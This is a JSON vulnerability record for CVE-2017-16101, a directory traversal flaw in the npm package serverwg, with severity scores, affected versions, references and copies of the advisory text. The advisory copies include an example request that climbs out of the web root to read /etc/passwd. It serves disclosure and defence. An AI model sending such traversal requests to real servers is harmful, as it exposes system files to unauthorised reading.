{"id":"CVE-2017-16101","aliases":["EUVD-2020-0671","GHSA-2f29-pmpx-vj62"],"status":"published","title":"Directory Traversal in serverwg","description":"serverwg is a simple http server. serverwg is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.","severity":{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-08","score":0.01974,"percentile":0.80607,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-22"],"published":"2018-06-07T02:00:00Z","modified":"2026-06-17T01:08:47Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"serverwg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.0"}]}]},{"source":"osv","ecosystem":"npm","package":"serverwg","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}]}],"products":[{"vendor":"hackerone","product":"serverwg node module"},{"vendor":"serverwg_project","product":"serverwg"}],"references":[{"url":"https://github.com/JacksonGL/NPM-Vuln-PoC/tree/master/directory-traversal/serverwg","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","web"]},{"url":"https://nodesecurity.io/advisories/364","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory"]},{"url":"https://www.npmjs.com/advisories/364","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16101","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2f29-pmpx-vj62"}],"sources":{"cve":[{"id":"CVE-2017-16101","description":"serverwg is a simple http server. serverwg is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.","status":"published","published":"2018-06-07T02:00:00Z","modified":"2024-09-17T01:41:09.946Z","cwes":["CWE-22"],"updated_at":"2026-11-02T14:33:21.453505Z"}],"euvd":[{"id":"EUVD-2020-0671","description":"serverwg is a simple http server. serverwg is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.","status":"published","published":"2018-06-07T02:00:00Z","modified":"2024-09-17T01:41:09Z","updated_at":"2026-11-03T00:28:47.497259Z"}],"ghsa":[{"id":"GHSA-2f29-pmpx-vj62","title":"Directory Traversal in serverwg","description":"`serverwg` is a simple http server.\n\n`serverwg` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\nand response:\n```\nHTTP/1.1 200 OK\nDate: Wed, 17 May 2017 22:52:08 GMT\nConnection: keep-alive\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.","status":"published","published":"2020-09-01T16:52:33Z","modified":"2023-09-07T20:42:01Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:37:03.287418Z"}],"nvd":[{"id":"CVE-2017-16101","description":"serverwg is a simple http server. serverwg is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.","status":"published","published":"2018-06-07T02:29:02.237Z","modified":"2026-06-17T01:08:47.907Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:P/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:04:17.638656Z"}],"osv":[{"id":"GHSA-2f29-pmpx-vj62","title":"Directory Traversal in serverwg","description":"`serverwg` is a simple http server.\n\n`serverwg` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\nand response:\n```\nHTTP/1.1 200 OK\nDate: Wed, 17 May 2017 22:52:08 GMT\nConnection: keep-alive\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.","status":"published","published":"2020-09-01T16:52:33Z","modified":"2023-11-08T03:59:04.915756Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:34.338541Z"}]}}
